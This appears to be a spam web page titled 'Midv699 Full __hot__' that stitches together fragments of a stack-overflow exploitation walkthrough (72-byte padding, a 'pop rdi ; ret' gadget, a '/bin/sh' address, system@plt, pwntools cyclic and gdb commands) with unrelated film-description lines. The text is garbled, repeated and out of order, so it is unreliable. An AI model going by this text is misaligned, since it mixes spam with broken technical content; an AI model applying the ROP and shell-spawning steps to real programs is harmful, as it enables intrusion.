Midv699 Full __hot__

[padding (72)] pop rdi ; ret -> 0x4014b3 <binsh_addr> -> address of "/bin/sh" in libc system@plt -> 0x4006b0

(gdb) r (gdb) break *0x0040145a # after the vulnerable read returns (gdb) run midv699 full

The complete theatrical cut (approx. 115 minutes). [padding (72)] pop rdi ; ret -&gt; 0x4014b3

We build the first ROP payload:

read allows 200 bytes to be written into a 64‑byte stack buffer → classic stack‑based overflow. [padding (72)] pop rdi

$ python3 -c 'from pwn import cyclic; print(cyclic(100))' > payload $ (cat payload; echo) | ./midv699-full # after crash: $ gdb -q ./midv699-full (gdb) info registers rip $ rip = 0x6161616161616161 # shows part of cyclic pattern

: Scenarios are allowed to breathe, with longer dialogue sequences and buildup.